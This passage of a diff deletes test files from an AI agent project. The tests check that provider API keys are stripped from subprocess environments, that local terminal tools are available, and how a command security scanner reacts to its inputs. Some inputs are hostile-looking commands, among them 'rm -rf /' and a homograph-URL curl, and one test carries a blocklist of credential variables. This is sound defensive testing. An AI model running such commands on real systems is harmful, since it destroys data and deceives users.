"OPENROUTER_API_KEY": "or-fake-key",
|
||||
"ANTHROPIC_API_KEY": "ant-fake-key",
|
||||
"LLM_MODEL": "anthropic/claude-opus-4-6",
|
||||
}
|
||||
result_env = _run_with_env(extra_os_env=leaked_vars)
|
||||
|
||||
for var in leaked_vars:
|
||||
assert var not in result_env, f"{var} leaked into subprocess env"
|
||||
|
||||
def test_registry_derived_vars_are_stripped(self):
|
||||
"""Vars from the provider registry (ANTHROPIC_TOKEN, ZAI_API_KEY, etc.)
|
||||
must also be blocked — not just the hand-written extras."""
|
||||
registry_vars = {
|
||||
"ANTHROPIC_TOKEN": "ant-tok",
|
||||
"CLAUDE_CODE_OAUTH_TOKEN": "cc-tok",
|
||||
"ZAI_API_KEY": "zai-key",
|
||||
"Z_AI_API_KEY": "z-ai-key",
|
||||
"GLM_API_KEY": "glm-key",
|
||||
"KIMI_API_KEY": "kimi-key",
|
||||
"MINIMAX_API_KEY": "mm-key",
|
||||
"MINIMAX_CN_API_KEY": "mmcn-key",
|
||||
}
|
||||
result_env = _run_with_env(extra_os_env=registry_vars)
|
||||
|
||||
for var in registry_vars:
|
||||
assert var not in result_env, f"{var} leaked into subprocess env"
|
||||
|
||||
def test_safe_vars_are_preserved(self):
|
||||
"""Standard env vars (PATH, HOME, USER) must still be passed through."""
|
||||
result_env = _run_with_env()
|
||||
|
||||
assert "HOME" in result_env
|
||||
assert result_env["HOME"] == "/home/user"
|
||||
assert "USER" in result_env
|
||||
assert "PATH" in result_env
|
||||
|
||||
def test_self_env_blocked_vars_also_stripped(self):
|
||||
"""Blocked vars in self.env are stripped; non-blocked vars pass through."""
|
||||
result_env = _run_with_env(self_env={
|
||||
"OPENAI_BASE_URL": "http://custom:9999/v1",
|
||||
"MY_CUSTOM_VAR": "keep-this",
|
||||
})
|
||||
|
||||
assert "OPENAI_BASE_URL" not in result_env
|
||||
assert "MY_CUSTOM_VAR" in result_env
|
||||
assert result_env["MY_CUSTOM_VAR"] == "keep-this"
|
||||
|
||||
|
||||
class TestForceEnvOptIn:
|
||||
"""Callers can opt in to passing a blocked var via _HERMES_FORCE_ prefix."""
|
||||
|
||||
def test_force_prefix_passes_blocked_var(self):
|
||||
"""_HERMES_FORCE_OPENAI_API_KEY in self.env should inject OPENAI_API_KEY."""
|
||||
result_env = _run_with_env(self_env={
|
||||
f"{_HERMES_PROVIDER_ENV_FORCE_PREFIX}OPENAI_API_KEY": "sk-explicit",
|
||||
})
|
||||
|
||||
assert "OPENAI_API_KEY" in result_env
|
||||
assert result_env["OPENAI_API_KEY"] == "sk-explicit"
|
||||
# The force-prefixed key itself must not appear
|
||||
assert f"{_HERMES_PROVIDER_ENV_FORCE_PREFIX}OPENAI_API_KEY" not in result_env
|
||||
|
||||
def test_force_prefix_overrides_os_environ_block(self):
|
||||
"""Force-prefix in self.env wins even when os.environ has the blocked var."""
|
||||
result_env = _run_with_env(
|
||||
extra_os_env={"OPENAI_BASE_URL": "http://leaked/v1"},
|
||||
self_env={f"{_HERMES_PROVIDER_ENV_FORCE_PREFIX}OPENAI_BASE_URL": "http://intended/v1"},
|
||||
)
|
||||
|
||||
assert result_env["OPENAI_BASE_URL"] == "http://intended/v1"
|
||||
|
||||
|
||||
class TestBlocklistCoverage:
|
||||
"""Sanity checks that the blocklist covers all known providers."""
|
||||
|
||||
def test_issue_1002_offenders(self):
|
||||
"""Blocklist includes the main offenders from issue #1002."""
|
||||
must_block = {
|
||||
"OPENAI_BASE_URL",
|
||||
"OPENAI_API_KEY",
|
||||
"OPENROUTER_API_KEY",
|
||||
"ANTHROPIC_API_KEY",
|
||||
"LLM_MODEL",
|
||||
}
|
||||
assert must_block.issubset(_HERMES_PROVIDER_ENV_BLOCKLIST)
|
||||
|
||||
def test_registry_vars_are_in_blocklist(self):
|
||||
"""Every api_key_env_var and base_url_env_var from PROVIDER_REGISTRY
|
||||
must appear in the blocklist — ensures no drift."""
|
||||
from hermes_cli.auth import PROVIDER_REGISTRY
|
||||
|
||||
for pconfig in PROVIDER_REGISTRY.values():
|
||||
for var in pconfig.api_key_env_vars:
|
||||
assert var in _HERMES_PROVIDER_ENV_BLOCKLIST, (
|
||||
f"Registry var {var} (provider={pconfig.id}) missing from blocklist"
|
||||
)
|
||||
if pconfig.base_url_env_var:
|
||||
assert pconfig.base_url_env_var in _HERMES_PROVIDER_ENV_BLOCKLIST, (
|
||||
f"Registry base_url_env_var {pconfig.base_url_env_var} "
|
||||
f"(provider={pconfig.id}) missing from blocklist"
|
||||
)
|
||||
|
||||
def test_extra_auth_vars_covered(self):
|
||||
"""Non-registry auth vars (ANTHROPIC_TOKEN, CLAUDE_CODE_OAUTH_TOKEN)
|
||||
must also be in the blocklist."""
|
||||
extras = {"ANTHROPIC_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN"}
|
||||
assert extras.issubset(_HERMES_PROVIDER_ENV_BLOCKLIST)
|
||||
@@ -1,15 +0,0 @@
|
||||
import logging
|
||||
|
||||
from tools.terminal_tool import check_terminal_requirements
|
||||
|
||||
|
||||
def test_local_terminal_requirements_do_not_depend_on_minisweagent(monkeypatch, caplog):
|
||||
"""Local backend uses Hermes' own LocalEnvironment wrapper and should not
|
||||
be marked unavailable just because `minisweagent` isn't importable."""
|
||||
monkeypatch.setenv("TERMINAL_ENV", "local")
|
||||
|
||||
with caplog.at_level(logging.ERROR):
|
||||
ok = check_terminal_requirements()
|
||||
|
||||
assert ok is True
|
||||
assert "Terminal requirements check failed" not in caplog.text
|
||||
@@ -1,28 +0,0 @@
|
||||
"""Tests for terminal/file tool availability in local dev environments."""
|
||||
|
||||
import importlib
|
||||
|
||||
from model_tools import get_tool_definitions
|
||||
|
||||
terminal_tool_module = importlib.import_module("tools.terminal_tool")
|
||||
|
||||
|
||||
class TestTerminalRequirements:
|
||||
def test_local_backend_does_not_require_minisweagent_package(self, monkeypatch):
|
||||
monkeypatch.setattr(
|
||||
terminal_tool_module,
|
||||
"_get_env_config",
|
||||
lambda: {"env_type": "local"},
|
||||
)
|
||||
assert terminal_tool_module.check_terminal_requirements() is True
|
||||
|
||||
def test_terminal_and_file_tools_resolve_for_local_backend(self, monkeypatch):
|
||||
monkeypatch.setattr(
|
||||
terminal_tool_module,
|
||||
"_get_env_config",
|
||||
lambda: {"env_type": "local"},
|
||||
)
|
||||
tools = get_tool_definitions(enabled_toolsets=["terminal", "file"], quiet_mode=True)
|
||||
names = {tool["function"]["name"] for tool in tools}
|
||||
assert "terminal" in names
|
||||
assert {"read_file", "write_file", "patch", "search_files"}.issubset(names)
|
||||
@@ -1,958 +0,0 @@
|
||||
"""Tests for the tirith security scanning subprocess wrapper."""
|
||||
|
||||
import json
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
import tools.tirith_security as _tirith_mod
|
||||
from tools.tirith_security import check_command_security, ensure_installed
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _reset_resolved_path():
|
||||
"""Pre-set cached path to skip auto-install in scan tests.
|
||||
|
||||
Tests that specifically test ensure_installed / resolve behavior
|
||||
reset this to None themselves.
|
||||
"""
|
||||
_tirith_mod._resolved_path = "tirith"
|
||||
_tirith_mod._install_thread = None
|
||||
_tirith_mod._install_failure_reason = ""
|
||||
yield
|
||||
_tirith_mod._resolved_path = None
|
||||
_tirith_mod._install_thread = None
|
||||
_tirith_mod._install_failure_reason = ""
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _mock_run(returncode=0, stdout="", stderr=""):
|
||||
"""Build a mock subprocess.CompletedProcess."""
|
||||
cp = MagicMock(spec=subprocess.CompletedProcess)
|
||||
cp.returncode = returncode
|
||||
cp.stdout = stdout
|
||||
cp.stderr = stderr
|
||||
return cp
|
||||
|
||||
|
||||
def _json_stdout(findings=None, summary=""):
|
||||
return json.dumps({"findings": findings or [], "summary": summary})
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Exit code → action mapping
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestExitCodeMapping:
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_exit_0_allow(self, mock_cfg, mock_run):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
mock_run.return_value = _mock_run(0, _json_stdout())
|
||||
result = check_command_security("echo hello")
|
||||
assert result["action"] == "allow"
|
||||
assert result["findings"] == []
|
||||
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_exit_1_block_with_findings(self, mock_cfg, mock_run):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
findings = [{"rule_id": "homograph_url", "severity": "high"}]
|
||||
mock_run.return_value = _mock_run(1, _json_stdout(findings, "homograph detected"))
|
||||
result = check_command_security("curl http://gооgle.com")
|
||||
assert result["action"] == "block"
|
||||
assert len(result["findings"]) == 1
|
||||
assert result["summary"] == "homograph detected"
|
||||
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_exit_2_warn_with_findings(self, mock_cfg, mock_run):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
findings = [{"rule_id": "shortened_url", "severity": "medium"}]
|
||||
mock_run.return_value = _mock_run(2, _json_stdout(findings, "shortened URL"))
|
||||
result = check_command_security("curl https://bit.ly/abc")
|
||||
assert result["action"] == "warn"
|
||||
assert len(result["findings"]) == 1
|
||||
assert result["summary"] == "shortened URL"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# JSON parse failure (exit code still wins)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestJsonParseFailure:
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_exit_1_invalid_json_still_blocks(self, mock_cfg, mock_run):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
mock_run.return_value = _mock_run(1, "NOT JSON")
|
||||
result = check_command_security("bad command")
|
||||
assert result["action"] == "block"
|
||||
assert "details unavailable" in result["summary"]
|
||||
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_exit_2_invalid_json_still_warns(self, mock_cfg, mock_run):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
mock_run.return_value = _mock_run(2, "{broken")
|
||||
result = check_command_security("suspicious command")
|
||||
assert result["action"] == "warn"
|
||||
assert "details unavailable" in result["summary"]
|
||||
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_exit_0_invalid_json_allows(self, mock_cfg, mock_run):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
mock_run.return_value = _mock_run(0, "NOT JSON")
|
||||
result = check_command_security("safe command")
|
||||
assert result["action"] == "allow"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Operational failures + fail_open
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestOSErrorFailOpen:
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_file_not_found_fail_open(self, mock_cfg, mock_run):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
mock_run.side_effect = FileNotFoundError("No such file: tirith")
|
||||
result = check_command_security("echo hi")
|
||||
assert result["action"] == "allow"
|
||||
assert "unavailable" in result["summary"]
|
||||
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_permission_error_fail_open(self, mock_cfg, mock_run):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
mock_run.side_effect = PermissionError("Permission denied")
|
||||
result = check_command_security("echo hi")
|
||||
assert result["action"] == "allow"
|
||||
assert "unavailable" in result["summary"]
|
||||
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_os_error_fail_closed(self, mock_cfg, mock_run):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": False}
|
||||
mock_run.side_effect = FileNotFoundError("No such file: tirith")
|
||||
result = check_command_security("echo hi")
|
||||
assert result["action"] == "block"
|
||||
assert "fail-closed" in result["summary"]
|
||||
|
||||
|
||||
class TestTimeoutFailOpen:
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_timeout_fail_open(self, mock_cfg, mock_run):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
mock_run.side_effect = subprocess.TimeoutExpired(cmd="tirith", timeout=5)
|
||||
result = check_command_security("slow command")
|
||||
assert result["action"] == "allow"
|
||||
assert "timed out" in result["summary"]
|
||||
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_timeout_fail_closed(self, mock_cfg, mock_run):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": False}
|
||||
mock_run.side_effect = subprocess.TimeoutExpired(cmd="tirith", timeout=5)
|
||||
result = check_command_security("slow command")
|
||||
assert result["action"] == "block"
|
||||
assert "fail-closed" in result["summary"]
|
||||
|
||||
|
||||
class TestUnknownExitCode:
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_unknown_exit_code_fail_open(self, mock_cfg, mock_run):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
mock_run.return_value = _mock_run(99, "")
|
||||
result = check_command_security("cmd")
|
||||
assert result["action"] == "allow"
|
||||
assert "exit code 99" in result["summary"]
|
||||
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_unknown_exit_code_fail_closed(self, mock_cfg, mock_run):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": False}
|
||||
mock_run.return_value = _mock_run(99, "")
|
||||
result = check_command_security("cmd")
|
||||
assert result["action"] == "block"
|
||||
assert "exit code 99" in result["summary"]
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Disabled + path expansion
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestDisabled:
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_disabled_returns_allow(self, mock_cfg):
|
||||
mock_cfg.return_value = {"tirith_enabled": False, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
result = check_command_security("rm -rf /")
|
||||
assert result["action"] == "allow"
|
||||
|
||||
|
||||
class TestPathExpansion:
|
||||
def test_tilde_expanded_in_resolve(self):
|
||||
"""_resolve_tirith_path should expand ~ in configured path."""
|
||||
from tools.tirith_security import _resolve_tirith_path
|
||||
_tirith_mod._resolved_path = None
|
||||
# Explicit path — won't auto-download, just expands and caches miss
|
||||
result = _resolve_tirith_path("~/bin/tirith")
|
||||
assert "~" not in result, "tilde should be expanded"
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Findings cap + summary cap
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestCaps:
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_findings_capped_at_50(self, mock_cfg, mock_run):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
findings = [{"rule_id": f"rule_{i}"} for i in range(100)]
|
||||
mock_run.return_value = _mock_run(2, _json_stdout(findings, "many findings"))
|
||||
result = check_command_security("cmd")
|
||||
assert len(result["findings"]) == 50
|
||||
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_summary_capped_at_500(self, mock_cfg, mock_run):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
long_summary = "x" * 1000
|
||||
mock_run.return_value = _mock_run(2, _json_stdout([], long_summary))
|
||||
result = check_command_security("cmd")
|
||||
assert len(result["summary"]) == 500
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Programming errors propagate
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestProgrammingErrors:
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_attribute_error_propagates(self, mock_cfg, mock_run):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
mock_run.side_effect = AttributeError("unexpected bug")
|
||||
with pytest.raises(AttributeError):
|
||||
check_command_security("cmd")
|
||||
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_type_error_propagates(self, mock_cfg, mock_run):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
mock_run.side_effect = TypeError("unexpected bug")
|
||||
with pytest.raises(TypeError):
|
||||
check_command_security("cmd")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# ensure_installed
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestEnsureInstalled:
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_disabled_returns_none(self, mock_cfg):
|
||||
mock_cfg.return_value = {"tirith_enabled": False, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
_tirith_mod._resolved_path = None
|
||||
assert ensure_installed() is None
|
||||
|
||||
@patch("tools.tirith_security.shutil.which", return_value="/usr/local/bin/tirith")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_found_on_path_returns_immediately(self, mock_cfg, mock_which):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
_tirith_mod._resolved_path = None
|
||||
with patch("os.path.isfile", return_value=True), \
|
||||
patch("os.access", return_value=True):
|
||||
result = ensure_installed()
|
||||
assert result == "/usr/local/bin/tirith"
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_not_found_returns_none(self, mock_cfg):
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
_tirith_mod._resolved_path = None
|
||||
with patch("tools.tirith_security.shutil.which", return_value=None), \
|
||||
patch("tools.tirith_security._hermes_bin_dir", return_value="/nonexistent"), \
|
||||
patch("tools.tirith_security._is_install_failed_on_disk", return_value=False), \
|
||||
patch("tools.tirith_security.threading.Thread") as MockThread:
|
||||
mock_thread = MagicMock()
|
||||
MockThread.return_value = mock_thread
|
||||
result = ensure_installed()
|
||||
assert result is None
|
||||
# Should have launched background thread
|
||||
mock_thread.start.assert_called_once()
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Failed download caches the miss (Finding #1)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestFailedDownloadCaching:
|
||||
@patch("tools.tirith_security._mark_install_failed")
|
||||
@patch("tools.tirith_security._is_install_failed_on_disk", return_value=False)
|
||||
@patch("tools.tirith_security._install_tirith", return_value=(None, "download_failed"))
|
||||
@patch("tools.tirith_security.shutil.which", return_value=None)
|
||||
def test_failed_install_cached_no_retry(self, mock_which, mock_install,
|
||||
mock_disk_check, mock_mark):
|
||||
"""After a failed download, subsequent resolves must not retry."""
|
||||
from tools.tirith_security import _resolve_tirith_path, _INSTALL_FAILED
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
# First call: tries install, fails
|
||||
_resolve_tirith_path("tirith")
|
||||
assert mock_install.call_count == 1
|
||||
assert _tirith_mod._resolved_path is _INSTALL_FAILED
|
||||
mock_mark.assert_called_once_with("download_failed") # reason persisted
|
||||
|
||||
# Second call: hits the cache, does NOT call _install_tirith again
|
||||
_resolve_tirith_path("tirith")
|
||||
assert mock_install.call_count == 1 # still 1, not 2
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
@patch("tools.tirith_security._mark_install_failed")
|
||||
@patch("tools.tirith_security._is_install_failed_on_disk", return_value=False)
|
||||
@patch("tools.tirith_security._install_tirith", return_value=(None, "download_failed"))
|
||||
@patch("tools.tirith_security.shutil.which", return_value=None)
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security._load_security_config")
|
||||
def test_failed_install_scan_uses_fail_open(self, mock_cfg, mock_run,
|
||||
mock_which, mock_install,
|
||||
mock_disk_check, mock_mark):
|
||||
"""After cached miss, check_command_security hits OSError → fail_open."""
|
||||
_tirith_mod._resolved_path = None
|
||||
mock_cfg.return_value = {"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}
|
||||
mock_run.side_effect = FileNotFoundError("No such file: tirith")
|
||||
# First command triggers install attempt + cached miss + scan
|
||||
result = check_command_security("echo hello")
|
||||
assert result["action"] == "allow"
|
||||
assert mock_install.call_count == 1
|
||||
|
||||
# Second command: no install retry, just hits OSError → allow
|
||||
result = check_command_security("echo world")
|
||||
assert result["action"] == "allow"
|
||||
assert mock_install.call_count == 1 # still 1
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Explicit path must not auto-download (Finding #2)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestExplicitPathNoAutoDownload:
|
||||
@patch("tools.tirith_security._install_tirith")
|
||||
@patch("tools.tirith_security.shutil.which", return_value=None)
|
||||
def test_explicit_path_missing_no_download(self, mock_which, mock_install):
|
||||
"""An explicit tirith_path that doesn't exist must NOT trigger download."""
|
||||
from tools.tirith_security import _resolve_tirith_path, _INSTALL_FAILED
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
result = _resolve_tirith_path("/opt/custom/tirith")
|
||||
# Should cache failure, not call _install_tirith
|
||||
mock_install.assert_not_called()
|
||||
assert _tirith_mod._resolved_path is _INSTALL_FAILED
|
||||
assert "/opt/custom/tirith" in result
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
@patch("tools.tirith_security._install_tirith")
|
||||
@patch("tools.tirith_security.shutil.which", return_value=None)
|
||||
def test_tilde_explicit_path_missing_no_download(self, mock_which, mock_install):
|
||||
"""An explicit ~/path that doesn't exist must NOT trigger download."""
|
||||
from tools.tirith_security import _resolve_tirith_path, _INSTALL_FAILED
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
result = _resolve_tirith_path("~/bin/tirith")
|
||||
mock_install.assert_not_called()
|
||||
assert _tirith_mod._resolved_path is _INSTALL_FAILED
|
||||
assert "~" not in result # tilde still expanded
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
@patch("tools.tirith_security._mark_install_failed")
|
||||
@patch("tools.tirith_security._is_install_failed_on_disk", return_value=False)
|
||||
@patch("tools.tirith_security._install_tirith", return_value=("/auto/tirith", ""))
|
||||
@patch("tools.tirith_security.shutil.which", return_value=None)
|
||||
def test_default_path_does_auto_download(self, mock_which, mock_install,
|
||||
mock_disk_check, mock_mark):
|
||||
"""The default bare 'tirith' SHOULD trigger auto-download."""
|
||||
from tools.tirith_security import _resolve_tirith_path
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
result = _resolve_tirith_path("tirith")
|
||||
mock_install.assert_called_once()
|
||||
assert result == "/auto/tirith"
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Cosign provenance verification (P1)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestCosignVerification:
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security.shutil.which", return_value="/usr/bin/cosign")
|
||||
def test_cosign_pass(self, mock_which, mock_run):
|
||||
"""cosign verify-blob exits 0 → returns True."""
|
||||
from tools.tirith_security import _verify_cosign
|
||||
mock_run.return_value = _mock_run(0, "Verified OK")
|
||||
result = _verify_cosign("/tmp/checksums.txt", "/tmp/checksums.txt.sig",
|
||||
"/tmp/checksums.txt.pem")
|
||||
assert result is True
|
||||
mock_run.assert_called_once()
|
||||
args = mock_run.call_args[0][0]
|
||||
assert "verify-blob" in args
|
||||
assert "--certificate-identity-regexp" in args
|
||||
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security.shutil.which", return_value="/usr/bin/cosign")
|
||||
def test_cosign_identity_pinned_to_release_workflow(self, mock_which, mock_run):
|
||||
"""Identity regexp must pin to the release workflow, not the whole repo."""
|
||||
from tools.tirith_security import _verify_cosign
|
||||
mock_run.return_value = _mock_run(0, "Verified OK")
|
||||
_verify_cosign("/tmp/checksums.txt", "/tmp/sig", "/tmp/cert")
|
||||
args = mock_run.call_args[0][0]
|
||||
# Find the value after --certificate-identity-regexp
|
||||
idx = args.index("--certificate-identity-regexp")
|
||||
identity = args[idx + 1]
|
||||
# The identity contains regex-escaped dots
|
||||
assert "workflows/release" in identity
|
||||
assert "refs/tags/v" in identity
|
||||
|
||||
@patch("tools.tirith_security.subprocess.run")
|
||||
@patch("tools.tirith_security.shutil.which", return_value="/usr/bin/cosign")
|
||||
def test_cosign_fail_aborts(self, mock_which, mock_run):
|
||||
"""cosign verify-blob exits non-zero → returns False (abort install)."""
|
||||
from tools.tirith_security import _verify_cosign
|
||||
mock_run.return_value = _mock_run(1, "", "signature mismatch")
|
||||
result = _verify_cosign("/tmp/checksums.txt", "/tmp/checksums.txt.sig",
|
||||
"/tmp/checksums.txt.pem")
|
||||
assert result is False
|
||||
|
||||
@patch("tools.tirith_security.shutil.which", return_value=None)
|
||||
def test_cosign_not_found_returns_none(self, mock_which):
|
||||
"""cosign not on PATH → returns None (proceed with SHA-256 only)."""
|
||||
from tools.tirith_security import _verify_cosign
|
||||
result = _verify_cosign("/tmp/checksums.txt", "/tmp/checksums.txt.sig",
|
||||
"/tmp/checksums.txt.pem")
|
||||
assert result is None
|
||||
|
||||
@patch("tools.tirith_security.subprocess.run",
|
||||
side_effect=subprocess.TimeoutExpired("cosign", 15))
|
||||
@patch("tools.tirith_security.shutil.which", return_value="/usr/bin/cosign")
|
||||
def test_cosign_timeout_returns_none(self, mock_which, mock_run):
|
||||
"""cosign times out → returns None (proceed with SHA-256 only)."""
|
||||
from tools.tirith_security import _verify_cosign
|
||||
result = _verify_cosign("/tmp/checksums.txt", "/tmp/checksums.txt.sig",
|
||||
"/tmp/checksums.txt.pem")
|
||||
assert result is None
|
||||
|
||||
@patch("tools.tirith_security.subprocess.run",
|
||||
side_effect=OSError("exec format error"))
|
||||
@patch("tools.tirith_security.shutil.which", return_value="/usr/bin/cosign")
|
||||
def test_cosign_os_error_returns_none(self, mock_which, mock_run):
|
||||
"""cosign OSError → returns None (proceed with SHA-256 only)."""
|
||||
from tools.tirith_security import _verify_cosign
|
||||
result = _verify_cosign("/tmp/checksums.txt", "/tmp/checksums.txt.sig",
|
||||
"/tmp/checksums.txt.pem")
|
||||
assert result is None
|
||||
|
||||
@patch("tools.tirith_security._verify_cosign", return_value=False)
|
||||
@patch("tools.tirith_security.shutil.which", return_value="/usr/local/bin/cosign")
|
||||
@patch("tools.tirith_security._download_file")
|
||||
@patch("tools.tirith_security._detect_target", return_value="aarch64-apple-darwin")
|
||||
def test_install_aborts_on_cosign_rejection(self, mock_target, mock_dl,
|
||||
mock_which, mock_cosign):
|
||||
"""_install_tirith returns None when cosign rejects the signature."""
|
||||
from tools.tirith_security import _install_tirith
|
||||
path, reason = _install_tirith()
|
||||
assert path is None
|
||||
assert reason == "cosign_verification_failed"
|
||||
|
||||
@patch("tools.tirith_security.shutil.which", return_value=None)
|
||||
@patch("tools.tirith_security._download_file")
|
||||
@patch("tools.tirith_security._detect_target", return_value="aarch64-apple-darwin")
|
||||
def test_install_aborts_when_cosign_missing(self, mock_target, mock_dl,
|
||||
mock_which):
|
||||
"""_install_tirith returns cosign_missing when cosign is not on PATH."""
|
||||
from tools.tirith_security import _install_tirith
|
||||
